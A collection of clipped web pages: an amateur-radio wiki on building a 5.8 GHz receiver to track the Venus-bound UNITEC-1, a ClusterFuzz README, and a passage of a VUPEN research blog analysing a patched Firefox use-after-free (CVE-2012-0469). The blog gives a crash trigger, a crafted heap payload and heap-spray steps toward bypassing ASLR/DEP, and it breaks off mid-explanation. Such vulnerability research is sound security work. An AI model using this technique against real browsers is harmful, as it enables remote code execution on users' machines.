It will be transmitting telemetry using OOSK at 1 bps in the 5.7 GHz amateur
radio band using a 10W RF into a pair of patch antennas. UNITEC-1 operators
need the help of the global amateur radio community for tracking their
spacecraft during its journey to Venus\[1\]. Antenna pointing and Doppler
shift measurements will be used for estimating the interplanetary trajectory
of the craft.

  

## Contents

\[hide\]

  * 1 System Overview
  * 2 Link Budget
    * 2.1 Summary
    * 2.2 Assumptions
    * 2.3 TBDs and TBCs
    * 2.4 Conclusions
  * 3 Antenna
    * 3.1 Small 90cm Dish
    * 3.2 7m Parabolic Dish
    * 3.3 Wide-band Feed for 7m dish
  * 4 Low Noise Down-converter
  * 5 Receiver
    * 5.1 Receiver Hardware
      * 5.1.1 The USRP Architecture
      * 5.1.2 The WBX Receiver
      * 5.1.3 The USRP FPGA
    * 5.2 Receiver Software
  * 6 Test Campaigns
    * 6.1 2010.03.23
    * 6.2 2010.04.13
    * 6.3 2010.04.24
    * 6.4 2010.05.18
    * 6.5 2010.05.21
    * 6.6 2010.05.22
  * 7 References
    * 7.1 Blogs
    * 7.2 Videos
    * 7.3 Photos
    * 7.4 In the news

  
---  
##  System Overview

<img src='img/Temp2_1261.png' width='800' height='422'
alt='FuncOverviewSketch.001.png' />

##  Link Budget

###  Summary

The detailed link budget calculations are available here: File:UNITEC-
LinkBudget.ods.

Parameter |  Value   
---|---  
Frequency |  5840 MHz   
TX power |  4.8 W / 6.8 dBW / 36.8 dBm   
TX Ant gain |  5 dBi   
EIRP |  11.8 dBW   
Distance \(km\) |  20.000 |  200.000 |  2.000.000 |  15.000.000 |  20.000.000   
Distance \(AU\) |  0.0001337 |  0.0013369 |  0.0133692 |  0.1002687 |  0.1336916   
Free Space Loss |  194 dB |  214 dB |  234 dB |  251 dB |  254 dB   
Atm. losses |  2 dB   
Signal at RX antenna |  -184 dBW |  -204 dBW |  -224 dBW |  -242 dBW |  -244 dBW   
Pointing loss |  0.4 dB   
Receiver G/T |  23 dB/K   
S/N0 |  67 dBHz |  47 dBHz |  27 dBHz |  10 dBHz |  7 dBHz   
Eb/N0 @ 1 bps |  **67 dB** |  **47 dB** |  **27 dB** |  **10 dB** |  7 dB   
SNR @ 500 Hz BW |  **40 dB** |  **20 dB** |  0 dB |  -17 dB |  -20 dB  
SNR @ 100 Hz BW |  **47 dB** |  **27 dB** |  7 dB |  -10 dB |  -13 dB  
###  Assumptions

  1. Attenuation due to rain, ionosphere and atmospheric gasses set to 2 dB\[2\]
  2. TX power is 4.8 watts/antenna\[3\]. 
  3. TX antenna is microstrip patch, linear, assuming 5 dBi gain\[3\]. 
  4. Our beam width is 0.5° and I assumed a pointing error no greater than 0.1° \(very optimistic\) giving a 0.4 dB pointing loss. 

###  TBDs and TBCs

  1. Measure the receiver noise floor, i.e. local interference contribution to sky temperature \(important\) 
  2. Re-assess sky noise taking expected solar noise, etc. into account\[2\]

###  Conclusions

  1. An optimistic estimate suggests that we should be able to receive UNITEC-1 up to 10-15 million km distance. 
  2. There is plenty of margin in the beginning and we can use a low gain antenna for initial acquisition. The IKEA dish has ~25 dBi gain and it could be used up to 1 million km where after the trajectory is hopefully well known. 

##  Antenna

###  Small 90cm Dish

The small 90cm dish is used to to find UNITEC-1 in the beginning. We created a
small helical feed antenna with two turns.

Specifications @ 5.8 GHz |  <img src='img/Temp2_1260.png' width='300' height='225' alt='90cmDish.jpg' /> |  <img src='img/Temp2_1265.png' width='300' height='225' alt='HelicalFeed-5840M-002.jpg' />  
---|---|---  
MUF |   
Diameter |  0.9 m   
Gain |  32 dBi   
-3dB beamwidth |  4°   
Tracking accuracy |  tbd°   
Slewing speed |  fast enough   
###  7m Parabolic Dish

Specifications @ 5.8 GHz |  <img src='img/Temp2_1264.png' width='400' height='226' alt='OZ7SATDishAntenna.png' /> |  <img src='img/Temp2_1263.png' width='300' height='225' alt='OZ7SATOZ7SATDishAntennaGood.JPG' />  
---|---|---  
MUF |   
Diameter |  7 m   
Gain |  48 dBi   
-3dB beamwidth |  0.5°   
Tracking accuracy |  0.1° \(TBC\)   
Slewing speed |  very fast   
###  Wide-band Feed for 7m dish

Specifications |  <img src='img/Temp2_1252.png' width='400' height='279' alt='MicrowaveFeedFront.jpg' /> |  <img src='img/Temp2_1253.png' width='370' height='274' alt='MicrowaveFeedSide.jpg' />  
---|---|---  
Frequency |  up to 10 GHz \(TBC\)   
Gain |  5-6 dBi \(estimated\)   
-3 db beamwidth |   
SWR |   
Feed polarisation |  Linear   
Suitable dish f/d |   
Connector |  N female   
Impedance |  50Ω   
Weight |   
##  Low Noise Down-converter

Specifications  
---  
Type |  KU LNC 5659 C PRO   
Input frequency \(RF\) |  5600 ... 5900 MHz   
Output frequency \(IF\) |  400 ... 700 MHz   
LO Frequency |  5200 MHz   
LO Accuracy @ 18°C |  +/- 10 kHz   
LO Frequency Stability |  +/- 20 kHz \(0 ... +40 °C\)   
Phase Noise |  typ. -85 dBc/Hz @ 1 kHz  
typ. -92 dBc/Hz @ 10 kHz  
typ. -98 dBc/Hz @ 100 kHz  
Gain |  typ. 40 dB, min. 38 dB   
Noise Figure |  typ. 1.0 dB, max. 1.3 dB   
Supply Voltage |  +9 ... 18 V DC, \(via IF conn\)   
RF Input Level |  max. 1 mW   
Current Consumption |  typ. 180 mA   
Input Connector / Impedance |  N, female / 50 Ohms   
Output Connector / Impedance |  N, female / 50 Ohms   
Dimensions in mm |  82 x 64 x 22   
Case |  Milled aluminium case, water resistant   
<img src='img/Temp2_1254.png' width='300' height='248' alt='Kulnc5659cpro.jpg'
/> <img src='img/Temp2_1258.png' width='600' height='237' alt='Kulnc5659a
block.jpg' />

Kuhne Electronic had several options for 5.8 GHz LNC that covers the whole
5.65...5.85 GHz range:

  * MKU LNC 57 — converting 5650...5850 MHz to 1450...1650 MHz, 1 dB NF and 50 dB gain 
  * MKU LNC 57-3 — converting 5600...5900 MHz to 1400...1700 MHz, 1 dB NF and 40 dB gain 
  * KU LNC 5659 C PRO — converting 5600...5900 MHz to 400...700 MHz, 1 dB NF and 40 dB gain 

We have about 40 meters of H1000-class cable running from the Dish to the
control room and using 1.4-1.7 GHz as first IF would result in too much loss.
Therefore, we chose the 5659 PRO version which has output in the 400-700 MHz
range where the cable loss is limited to 6 dB \(TBC\).

The LNC is supplied via the coax cable. DC viltage is injected into the coax
using KU BT 271 N bias-T from Kuhne. We also had something called MSTTR001
from Snec but that is believed to work up to 100 mA, while the LNC typically
requires 180 mA.

<img src='img/Temp2_1257.png' width='300' height='197' alt='Kubt271n.jpg' />
<img src='img/Temp2_1256.png' width='340' height='198' alt='MSTTR001.jpg' />

##  Receiver

<img src='img/Temp2_1262.png' width='200' height='122' alt='alt' />

<img src='img/Temp2_1255.png' width='15' height='11' alt='alt' />

The USRP equipped with a WBX transceiver board and the TVRX receiver.

The receiver is a software defined radio and has two parts:

  1. The hardware part — Converts the 400-700 MHz IF to baseband and sends it to a computer 
  2. The software part — Takes the baseband data from the hardware and performs filtering and demodulation in software 

###  Receiver Hardware

The receiver hardware is based on the Universal Software Radio Peripheral
\(USRP\) equipped with a WBX transceiver board. On the receiver side, it is a
direct conversion software defined radio architecture where the RF is
converted to baseband using a quadrature demodulator \(ADL5387\), digitized
using 12 bit A/D converters \(AD9862\) and down-sampled using an FPGA. The
resulting digital data is 16 bit signed I/Q that is sent to the host computer
via USB2 interface.

####  The USRP Architecture

The USRP can host 2 receivers and 2 transmitters that can work at the same
time sharing a total bandwidth of 8 MHz. Note that the ADCs are clocked at 64
MHz but the effective bandwidth is limited by the USB 2.0 interface to the
host computer.

When we take all the protocol and other overhead away, USB 2.0 gives us 32
Mbytes/sec data rate. The USRP1 uses complex 16 bit signed integers \(4
bytes/sample\) and therefore we get 8 Msps. Since we use complex processing
this gives a maximum effective total bandwidth of 8 MHz.

<img src='img/Temp2_1268.png' width='600' height='468' alt='Universal Software
Radio Peripheral (USRP) architecture.' />

  

####  The WBX Receiver

The WBX is a full duplex transceiver board covering 50 MHz – 2.2 GHz. For this
project we are only concerned about the receiver.

WBX receiver specifications |  <img src='img/Temp2_1259.png' width='300' height='275' alt='The WBX transceiver board.' />  
---|---  
Rev |  2   
Frequency |  50 MHz - 2.2 GHz   
Noise Figure |  5-6 db\[4\]  
Sensitivy \(CW\) |  better than -130 dBm\[5\]  
IIP2 |  40-55 dBm\[4\]  
IIP3 |  5-10 dBm\[4\]  
AGC Range |  70 dB\[6\]  
Antenna |  TX/RX and RX2   
  
A block diagram of the WBX receiver is shown below. The detailed schematics
are available from Ettus Research website.

<img src='img/Temp2_1251.png' width='800' height='464' alt='WbxReceiver.png'
/>

  * Two HMC174MS8 GaAs MMIC T/R switches are used to configure the connection between antenna connectors and receiver/transmitter. We will use the RX2 input so that we only have one switch in the loop \(estimated 0.5 dB improvement\). 
  * MGA-62563 GaAs MMIC low noise amplifier gives 22dB gain at 0.9 dB noise figure. 
  * HMC472LP4 is a broadband 6-bit GaAs IC digital attenuator programmable in 0.5 dB steps. 
  * MGA-82563 GaAs MMIC driver amplifier gives additional 13 dB gain at 2.2 dB noise figure. 
  * ADL5387 50 MHz to 2 GHz quadrature I/Q demodulator converts the RF to complex baseband signal. 
  * ADF4350 wideband synthesizer provides local oscillator signal for the I/Q demodulator. 
  * ADA4937-2 low distortion differential ADC driver brings the signal up to level suitable for the ADC. The ADC full scale is 2 Vpp / 50Ω differential but there is also a 20dB PGA reducing the required input level to 0.2 Vpp. 

####  The USRP FPGA

The FPGA contains the digital down-converter that decimates the data to fit
within the 8 MHz we can transfer over the USB. Actually, the decimation is
variable between 8 and 256 allowing for bandwidth as low as 250 kHz
\(64MHz/256\). The decimation factor is distributed between a four stage
decimating Cascaded integrator-comb filter and a 31 tap halfband filter that
decimates by 2.

USRP receiver specifications\[7\] |  <img src='img/Temp2_1250.png' width='300' height='225' alt='The Universal Software Radio Peripheral (USRP)' /> |  <img src='img/Temp2_1267.png' width='400' height='236' alt='The Digital down-converter (DDC) in the USRP FPGA.' />  
---|---|---  
Rev |  1.7?   
Sample rate |  64 Ms/s   
Resolution |  12 bits   
SFDR |  85 dB   
Max Bandwidth |  16 MHz   
Host Interface |  USB 2.0   
Note that the FPGA design also includes a mixer and an oscillator \(NCO\)
which allows the use of intermediate frequency input instead of baseband. This
is very useful when we use an RF front end like the TVRX which outputs a 6 MHz
wide spectrum centered around 5.75 MHz. Other RF boards output baseband signal
centered around 0 Hz; however, the NCO is also useful for these board. The
local oscillators on the RF boards have a limited resolution that does not
always \(read rarely\) allows tuning to the exact frequency requested by the
user. Using the NCO we can compensate for this difference. Fortunately, this
is done automatically by the USRP and/or the GNU Radio driver and we don't
have to worry about it.

For more technical details about the USRP I can recommend Exploring GNU Radio
by Eric Blossom and The USRP under 1.5X Magnifying Lens\! aka. USRP FAQ.

###  Receiver Software

_To be written..._

The receiver software is implemented using the GNU Radio framework.

##  Test Campaigns

###  2010.03.23

First time we powered up the LNC.

We were hoping to receive OZ7IGY beacon on 5760.930 MHz but in the OZ7SAT
building we could only receive it while an airplane was passing by
\(reflection\).

We will try again later on the roof, which will hopefully give clearer line of
sight to OZ7IGY.

We could detect signal from an 5.8 GHz signal generator, but the generator was
not suitable for quantitative measurements.

Detailed Report

###  2010.04.13

New session where we attempted reception of OZ7IGY. Tests were successful even
though we only received a reflection and not the direct signal from OZ7IGY.
Details are in blog post.

###  2010.04.24

European EME Contest on 5.8 GHz. We missed this opportunity because the
antenna was not finished.

###  2010.05.18

Tested small 90cm dish with home made helical feed using OZ7IGY, see blog
post.

###  2010.05.21

Since we couldn't receive UNITEC-1 using the 90cm dish we decided to move the
LNC over to the 7 meter dish. Once done we tested the receiver system on 5.7
GHz using OZ7IGY. This was actually the first time we tested the complete
receiver chain as depicted in the System Overview diagram.

OZ7IGY beacon signal on 5.7 GHz received at OZ7SAT using the 7 meter dish, KU
LNC 5659 CPRO, USRP, WBX and GNU Radio software defined radio receiver:

<img src='img/Temp2_1266.png' width='600' height='450'
alt='OZ7IGYwith7mDish.jpg' />

Video is available here.

###  2010.05.22

We let the receiver listen to OZ7IGY since last night. Frequency drift was no
more than 1 kHz. LNC currently mounted outside without any thermal protection.

##  References

  1. ↑ http://www.unisec.jp/unitec-1/en/cooperation.html
  2. ↑ 2.0 2.1 Louis J. Ippoloto, Satellite Communications Systems Engineering, Wiley 2008, ISBN 978-0-470-72527-6
  3. ↑ 3.0 3.1 Amateur Radio call for assistance for UNITEC-1 Venus-bound satellite
  4. ↑ 4.0 4.1 4.2 WBX Receiver Performance Plots, http://code.ettus.com/redmine/ettus/documents/show/16
  5. ↑ WBX receiver sensitivity in CW.
  6. ↑ Transceiver Daughterboards brochure from Ettus Research.
  7. ↑ USRP brochure from Ettus Research.

###  Blogs

  * 2010.03.12: UNITEC-1: A New Deep Space Adventure
  * 2010.03.16: UNITEC-1: The KU LNC 5659 C PRO has arrived
  * 2010.03.17: Technical papers about UNITEC-1
  * 2010.03.17: Bias-T for the UNITEC-1 Receiver
  * 2010.03.21: Simple CW Receiver with GNU Radio
  * 2010.03.23: Simple CW Receiver V0.3
  * 2010.03.24: Successful first tests of the UNITEC-1 receiver setup
  * 2010.03.24: WBX receiver sensitivity in CW
  * 2010.04.01: From double side band to single side band reception 
  * 2010.04.06: Simple SSB Receiver in GNU Radio Companion
  * 2010.04.08: Improved AGC for the simple SSB receiver
  * 2010.04.09: Frequency xlating filter vs. complex multiplication
  * 2010.04.09: Binaural CW Receiver with GNU Radio and USRP
  * 2010.04.10: GNU Radio SSB/CW/AM/FM Receiver v0.6
  * 2010.04.15: UNITEC-1 5.8 GHz Receiver Test Using OZ7IGY
  * 2010.05.12: C-band Receiver Hardware for UNITEC-1
  * 2010.05.13: UNITEC-1 Link Budget
  * 2010.05.16: Preparing the 7m antenna for UNITEC-1
  * 2010.05.17: Smaller dish for tracking UNITEC-1
  * 2010.05.19: 5.8 GHz Helical Feed for the 90cm dish
  * 2010.05.23: UNITEC-1 Tracking Report

###  Videos

  * 2010.03.15: Unpacking the LNC: YouTube or Ustream
  * 2010.03.21: Simple CW Receiver with GNU Radio: YouTube
  * 2010.04.05: GNU Radio Companion: Simple SSB Receiver: YouTube
  * 2010.04.09: Binaural CW Receiver with GNU Radio and USRP: YouTube
  * 2010.04.10: GNU Radio SSB/CW Receiver: YouTube
  * 2010.04.14: 5.8 GHz Receiver Test using OZ7IGY: YouTube
  * 2010.05.15: OZ7SAT 7m dish for tracking UNITEC-1: YouTube
  * 2010.05.16: UNITEC-1 Trajectory Estimator: YouTube
  * 2010.05.18: Testing a 5.84 GHz helix feed: YouTube
  * 2010.05.21: Switching from the 90 cm to 7 meter dish: Ustream
  * 2010.05.22: OZ7IGY on 5.7 GHz received with 7m dish: YouTube or Ustream. 

Complete YouTube playlist.

###  Photos

Picasa photo album.

###  In the news

  * 2010.04.30: Receiver for Interplanetary Amateur Radio Satellite \- The Southgate Amateur Radio Club.

# google/clusterfuzz

**Created:**| _3/2/2019 6:26:36 PM_  
---|---  
**Updated:**| _3/2/2019 6:26:36 PM_  
**Author:**| _wishi_  
**Tags:**| _Fuzzer performance_  
  

  

###  README.md

# ClusterFuzz

<img src='img/Temp2_10262.png' width='400' height='322' />

ClusterFuzz is a scalable fuzzing infrastructure which finds security and
stability issues in software.

It is used by Google for fuzzing the Chrome Browser, and serves as the fuzzing
backend for OSS-Fuzz.

ClusterFuzz provides many features which help seamlessly integrate fuzzing
into a software project's development process:

  * Highly scalable. Google's internal instance runs on over 25,000 machines.
  * Accurate deduplication of crashes.
  * Fully automatic bug filing and closing for issue trackers \(Monorail only for now\).
  * Testcase minimization.
  * Regression finding through bisection.
  * Statistics for analyzing fuzzer performance, and crash rates.
  * Easy to use web interface for management and viewing crashes.
  * Support for coverage guided fuzzing \(e.g. libFuzzer and AFL\) and blackbox fuzzing.

## Overview

<img src='img/Temp2_10263.png' width='690' height='349' />

## Documentation

You can find detailed documentation here.

## Trophies

As of January 2019, ClusterFuzz has found ~16,000 bugs in Chrome and ~11,000
bugs in over 160 open source projects integrated with OSS-Fuzz.

## Getting Help

You can file an issue to ask questions, request features, or ask for help.

## Staying Up to Date

We will use clusterfuzz-announce\(\#\)googlegroups.com to make announcements
about ClusterFuzz.

  

# VUPEN Vulnerability Research Blog - Advanced Exploitation of Mozilla Firefox
Use-after-free Vulnerabilities \(MFSA 2012-22 / CVE-2012-0469\)

**Created:**| _7/3/2012 7:45:28 PM_  
---|---  
**Updated:**| _7/3/2012 7:45:28 PM_  
**Author:**| __  
**Tags:**| _Exploit browser_  
  

| **VUPEN Vulnerability Research Team \(VRT\) Blog**  
---  
|  |    
** Advanced Exploitation of Mozilla Firefox Use-after-free Vulnerability
\(MFSA 2012-22\)**  
|  _ Published on 2012-06-25 17:45:24 UTC by Jordan Gruskovnjak_ _, Security
Researcher @ VUPEN_|  <img src='img/Temp2_8828.png' width='20' height='20'
alt='Twitter' /> <img src='img/Temp2_8827.png' width='20' height='20'
alt='LinkedIn' /> <img src='img/Temp2_8830.png' width='20' height='20'
alt='Delicious' /> <img src='img/Temp2_8829.png' width='20' height='20'
alt='Digg' />  
---|---  
**__ ** <img src='img/Temp2_8826.png' width='64' height='64' />Hi everyone,  
  
In this new blog, we will share our technical analysis of a use-after-free
vulnerability affecting Mozilla Firefox, and how we managed to achieve a
reliable code execution and bypass DEP/ASLR using the same unique and non-
trivial-to-exploit flaw. This specific vulnerability \(CVE-2012-0469\) has
been patched by Mozilla as part of the MFSA 2012-22 security advisory.  
  
  
**__1\. Technical Analysis of the Vulnerability__**  
  
The vulnerability results from a use-after-free error which can be triggered
with the following piece of code:  
  
  
<html>  
<script>  
IDBKeyRange.only\(43\).lower;  
</script>  
</html>  
  
---  
When creating an _IDBKeyRange_ object, the following piece of code is reached
in xul.dll \(version 11.0.0.4454\):  
  
  
.text:1080F5F6 int MakeOnlyKeyRange\(JSContext \*aCx, unsigned int aArgc,
JS::Value \*aVp\)  
.text:1080F5F6 push ebp  
.text:1080F5F7 mov ebp, esp  
...  
.text:1080F61F push 38h // size  
.text:1080F621 call operator new\(uint\)  
  
---  
A new object of size 0x38 is allocated on the heap, then the
"_IDBKeyRange\(\)_ " constructor is called in order to initialize the object:  
  
  
.text:1080F626 test eax, eax  
.text:1080F628 pop ecx  
.text:1080F629 jz short loc\_1080F64B  
.text:1080F62B push 1  
.text:1080F62D push 0 // aIsOnly  
.text:1080F62F push 0 // aUpperOpen  
.text:1080F631 push eax // aLowerOpen  
.text:1080F632 call mozilla::dom::indexedDB::IDBKeyRange::IDBKeyRange\(\)  
  
---  
Then the "_GetLower\(\)_ " method is called in order to retrieve the value of
the "_lower_ " variable:  
  
  
.text:10624C38 _unsigned int mozilla::dom::indexedDB::IDBKeyRange
::GetLower\(mozilla::dom::indexedDB::IDBKeyRange \*this, JSContext \*aCx,
JS::Value \*aLower\)_  
.text:10624C38  
.text:10624C38 this = dword ptr 4  
.text:10624C38 aCx = dword ptr 8  
.text:10624C38 aLower = dword ptr 0Ch  
.text:10624C38 push esi  
.text:10624C39 mov esi, \[esp+4+this\]  
.text:10624C3D cmp byte ptr \[esi+33h\], 0  
.text:10624C41 jnz short loc\_10624C73  
.text:10624C43 cmp byte ptr \[esi+35h\], 0  
.text:10624C47 jnz short loc\_10624C5A  
.text:10624C49 push offset
mozilla::dom::indexedDB::IDBKeyRange::cycleCollectorGlobal  
.text:10624C4E push esi // aScriptObjectHolder  
.text:10624C4F call nsContentUtils::HoldJSObjects  
.text:10624C54 pop ecx  
.text:10624C55 pop ecx  
.text:10624C56 mov byte ptr \[esi+35h\], 1  
.text:10624C5A  
.text:10624C5A loc\_10624C5A:  
.text:10624C5A lea eax, \[esi+20h\]  
.text:10624C5D push eax  
.text:10624C5E push \[esp+8+aCx\] ; aVal  
.text:10624C62 lea eax, \[esi+8\]  
.text:10624C65 push eax ; aCx  
.text:10624C66 call mozilla::dom::indexedDB::Key::ToJSVal  
.text:10624C6B test eax, eax  
.text:10624C6D js short loc\_10624C84  
.text:10624C6F mov byte ptr \[esi+33h\], 1  
.text:10624C73  
.text:10624C73 loc\_10624C73:  
.text:10624C73 mov ecx, \[esi+20h\]  
.text:10624C76 mov eax, \[esp+8+aCx\]  
.text:10624C7A mov \[eax\], ecx  
.text:10624C7C mov ecx, \[esi+24h\]  
.text:10624C7F mov \[eax+4\], ecx  
.text:10624C82 xor eax, eax  
.text:10624C84  
.text:10624C84 loc\_10624C84:  
.text:10624C84 pop esi  
.text:10624C85 retn 0Ch  
  
---  
Before retrieving the value of the "_lower_ " member variable, the code adds a
reference to the _IDBKeyRange_ object to the _Cycle Collector_ , and sets
bytes at \[this+0x35\] and \[this+0x33\] to 1, which correspond to the
_mRooted_ and _mHaveCachedLowerVal_ boolean variables.  
  
Since no variable holds the reference of the _IDBKeyRange_ object, it's
eventually processed by the garbage collector and destroyed, thus calling the
destructor of  _IDBKeyRange_ :  
  
  
.text:105FF912 _void mozilla::dom::indexedDB::IDBKeyRange
::~IDBKeyRange\(mozilla::dom::indexedDB::IDBKeyRange \*this\)_  
.text:105FF912  
.text:105FF912 this = dword ptr 4  
.text:105FF912  
.text:105FF912 push esi  
.text:105FF913 mov esi, \[esp+4+this\]  
.text:105FF917 lea ecx, \[esi+14h\] ; this  
.text:105FF91A mov dword ptr \[esi\], offset const
mozilla::dom::indexedDB::IDBKeyRange::\`vftable'  
.text:105FF920 call nsACString\_internal::Finalize  
.text:105FF925 lea ecx, \[esi+8\] ; this  
.text:105FF928 call nsACString\_internal::Finalize  
.text:105FF92D pop esi  
.text:105FF92E retn 4  
  
---  
During the destruction of the object, the destructor fails to release the
reference of the _IDBKeyRange_ object which is still present in the _Cycle
Collector_ by calling "_nsContentUtils::DropJSObjects\(\)_ ".  
  
When the Cycle Collector will be triggered, it will use the helper function
mozilla::dom::indexedDB::IDBKeyRange::cycleCollection::Trace\(\) in order to
inspect the freed object:  
  
  
.text:1053A8D8 _void
mozilla::dom::indexedDB::IDBKeyRange::Trace\(mozilla::dom::indexedDB::IDBKeyRange::cycleCollection
\*this, void \*p, void \(\_\_cdecl \*aCallback\)\(unsigned int, void \*, const
char \*, void \*\), void \*aClosure\)_  
.text:1053A8D8 push ebp  
.text:1053A8D9 mov ebp, esp  
.text:1053A8DB push ecx  
.text:1053A8DC push ecx  
.text:1053A8DD push esi  
.text:1053A8DE mov esi, \[ebp+p\] // Retrieve freed object  
.text:1053A8E1 mov eax, \[esi+24h\]  
.text:1053A8E4 cmp eax, 0FFFFFF85h // Check the value of \[esi+24h\]  
.text:1053A8E7 jb short loc\_1053A901  
.text:1053A8E9 mov eax, \[esi+20h\] // EAX will be processed  
.text:1053A8EC test eax, eax  
.text:1053A8EE jz short loc\_1053A901  
.text:1053A8F0 push \[ebp+aClosure\]  
.text:1053A8F3 push offset aMcachedlowerva ; "mCachedLowerVal"  
.text:1053A8F8 push eax  
.text:1053A8F9 push 2  
.text:1053A8FB call \[ebp+aCallback\] //
CheckParticipatesInCycleCollection\(\)  
  
---  
Eventually the \[ESI+20h\] dword value will be processed within the
"_js\_GetGCThingTraceKind\(\)_ " function in "mozjs.dll":  
  
  
.text:10034C20 js::GetGCThingTraceKind\(\)  
.text:10034C20 thing = dword ptr 4  
.text:10034C20  
.text:10034C20 mov eax, \[esp+thing\]  
.text:10034C24 and eax, 0FFFFF000h  
.text:10034C29 mov ecx, \[eax+0Ch\] // crash here  
.text:10034C2C and ecx, 0FFh  
.text:10034C32 mov eax, ds:kind\[ecx\*4\] // Retrieve the type of object  
.text:10034C39 retn  
  
---  
Firefox will try to dereference an invalid value leading to an exploitable
crash which could allow remote attackers to compromise a vulnerable system via
a specially crafted web page.  
  
**__2.__** **_Advanced Exploitation With ASLR/DEP Bypass  
  
_ ** It is possible to achieve a reliable exploitation of this flaw and bypass
DEP and ASLR.  
  
The first step to achieve is to replace the freed object in order to control
its data when the object is processed by the _Cycle Collector_. As seen in the
previous section, the object size is 0x38 bytes.  
  
One needs to craft a string with the offset at 0x20 having the value
0xFFFFFF85 in order to be processed by the
"_CheckParticipatesInCycleCollection\(\)_ " function:  
  
  
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
\x00\x00\x00\x00\x00\x00\x00\x00\x85\xFF\xFF\xFF\x41\x41\x41\x41\x00\x00\x00\x00  
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00  
  
---  
A Javascript code is used to replace the vulnerable object. A loop should be
used to cause multiple allocations and trigger the _Garbage Collector_ and the
_Cycle Collector_.  
  
Then the vulnerable object is replaced between the time the garbage collector
frees the object and the time the cycle collector uses its invalid reference.
Firefox then crashes in the "mozjs.dll" module:

  
.text:10034C20 js::GetGCThingTraceKind\(\)  
.text:10034C20 thing = dword ptr 4  
.text:10034C20  
.text:10034C20 mov eax, \[esp+thing\] // EAX is user-controlled  
.text:10034C24 and eax, 0FFFFF000h  
.text:10034C29 mov ecx, \[eax+0Ch\] // crashes here with EAX=0x41414000  
.text:10034C2C and ecx, 0FFh  
.text:10034C32 mov eax, ds:kind\[ecx\*4\] // Retrieve the type of object  
.text:10034C39 retn  
  
---  
The program performs the following pseudo code operations:

  
ptr = \(attack\_controlled\_value & 0xFFFFF000\)  
idx = \*\(ptr + 0xc\) & 0xFF  
return kind\[idx \* 4\]; // kind is a global array in .data section  
  
---  
Then the returned value is used in a switch statement within the
"_js::gc::MarkKind\(\)_ " function of "mozjs.dll":

  
.text:1003BDF0 void js::gc::MarkKind \(JSTracer \*trc, void \*thing,
JSGCTraceKind kind\)  
.text:1003BDF0 mov eax, \[esp+kind\]  
.text:1003BDF4 cmp eax, 6 // switch 7 cases  
.text:1003BDF7 ja locret\_1003BE82 // jumptable 1003BDFD default case  
.text:1003BDFD jmp ds:off\_1003BE84\[eax\*4\] // switch jump  
...  
.text:1003BE17 $LN6\_5:  
.text:1003BE17 mov edx, \[esp+thing\] // jumptable 1003BDFD case 1  
.text:1003BE1B mov eax, \[esp+trc\]  
.text:1003BE1F push edx // thing  
.text:1003BE20 push eax  // trc  
.text:1003BE21 call js::gc::Mark<JSString>\(JSTracer \*,JSString \*\)  
.text:1003BE26 add esp, 8  
.text:1003BE29 retn  
  
---  
When EAX == 1, the code path at 0x1003BE17 is taken leading to the call at
0x1003BE21 eventually calling the "_js::gc::PushMarkStack\(\)_ " function of
"mozjs.dll":

  
.text:1003AC00 void js::gc::PushMarkStack\(js::GCMarker \*gcmarker, JSString
\*str<eax>\)  
.text:1003AC00 push esi  
.text:1003AC01 mov esi, eax  
.text:1003AC03 shr esi, 3  
.text:1003AC06 and esi, 1FFFFh  
.text:1003AC0C mov ecx, esi  
.text:1003AC0E and ecx, 1Fh  
.text:1003AC11 push edi  
.text:1003AC12 mov edi, 1  
.text:1003AC17 shl edi, cl  
.text:1003AC19 mov ecx, eax  
.text:1003AC1B and ecx, 0FFF00000h  
.text:1003AC21 shr esi, 5  
.text:1003AC24 lea edx, \[ecx+esi\*4+0FC0C4h\]  
.text:1003AC2B mov ecx, \[edx\]  
.text:1003AC2D test edi, ecx  
.text:1003AC2F jnz short loc\_1003AC4C  
.text:1003AC31 or ecx, edi  
.text:1003AC33 mov \[edx\], ecx  
.text:1003AC35 mov dl, \[eax\]  
.text:1003AC37 not dl  
.text:1003AC39 test dl, 1  
.text:1003AC3C pop edi  
.text:1003AC3D pop esi  
.text:1003AC3E jz short loc\_1003AC47  
.text:1003AC40 mov edx, eax  
.text:1003AC42 jmp js::gc::ScanLinearString  
...  
.text:1003AAC0 void js::gc::ScanLinearString\(js::GCMarker \*gcmarker,
JSLinearString \*str<edx>\)  
.text:1003AAC0 mov eax, \[edx\]  
.text:1003AAC2 shr eax, 1  
.text:1003AAC4 test al, 1  
.text:1003AAC6 jz short locret\_1003AB0E  
...  
.text:1003AB0E locret\_1003AB0E:  
.text:1003AB0E retn  
  
---  
This code path allows us to OR a dword at a certain location. This location is
not totally arbitrary, but relative to the supplied value in the _thing_
variable. Here is the pseudo code of the "_js::gc::PushMarkStack\(\)_ "
function:  

  
value = \(thing >> 3\) & 0x1F  
value = \(1 << value\)  
offset = \(thing & 0x1FFFF\) >> 5  
base\_addr = \(thing & 0xFFF\)  
\[base\_addr + offset \* 4 + 0xFC0C4\] |= value  
  
---  
Since this is the only place where the controlled value is used for a useful
operation in the exploitation perspective, one will have to find a way to
control EIP using this pseudo code.  
  
Even if the exploitation of this vulnerability does not seem as trivial as
something like: "call \[eax+40h\]", it opens a possibility for an information
leak since it causes a memory corruption.  
  
To bypass ASLR on Windows 7 and Vista and achieve code execution, we will use
three heap sprays. One heap spray will be used for the information leak, a
second one to overwrite a DOM object, and a third one to perform the ROP.  
  
_1\) Leaking the XUL base address_  
  
In order to perform the information leak, we will overwrite the length of a
string in memory and use the overwritten string from Javascript in order to
scan memory and find a _vTable_.  
  
In Firefox, when a string is small enough, the Javascript string object and
the string itself are contiguous in memory. For example when creating the
string "AABBCCDDEEF" it will have the following memory layout:

length|  pointer to string|  \x41\x00\x41\x00|  \x42\x00\x42\x00  
---|---|---|---  
\x43\x00\x43\x00|  \x44\x00\x44\x00|  \x45\x00\x45\x00|  \x46\x00\x00\x00  
The string object + string itself is then 0x20 bytes in memory. We then spray
this string in memory and obtain a perfectly aligned heap spray of string
objects.  
  
Moreover the GC will append a bit array to the end of each page, in order to
keep track of allocated strings. The memory layout will then be as shown
below:

  
Address Value  
0A000000  
..  
0A000020  \xb4\x00\x00\x00\x28\x00\x00\x0a\x41\x00\x41\x00\x42\x00\x42\x00  
0A000030  \x43\x00\x43\x00\x44\x00\x44\x00\x45\x00\x45\x00\x46\x00\x00\x00  
&  
